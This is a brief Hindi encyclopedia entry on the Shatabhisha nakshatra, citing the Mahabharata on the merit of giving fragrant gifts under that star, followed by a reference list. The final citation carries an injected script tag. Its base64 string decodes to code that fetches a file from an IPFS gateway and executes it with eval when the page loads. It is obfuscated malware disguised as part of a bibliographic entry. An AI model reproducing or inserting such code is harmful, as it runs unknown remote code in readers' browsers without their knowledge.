शतभिषा

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शतभिषा नामक नक्षत्र का उल्लेख पौराणिक महाकाव्य महाभारत में हुआ है। महाभारत के अनुसार यह सत्ताईस नक्षत्रों में से एक नक्षत्र था, जिसके योग में अगर और चंदन सहित सुगंधित पदार्थों का दान करने वाला पुरुष परलोक में अप्सराओं का समुदाय तथा अक्षयलोक प्राप्त करता है।[1]


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टीका टिप्पणी और संदर्भ

[2]

  1. महाभारत अनुशासन पर्व 64.30
  2. पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 487 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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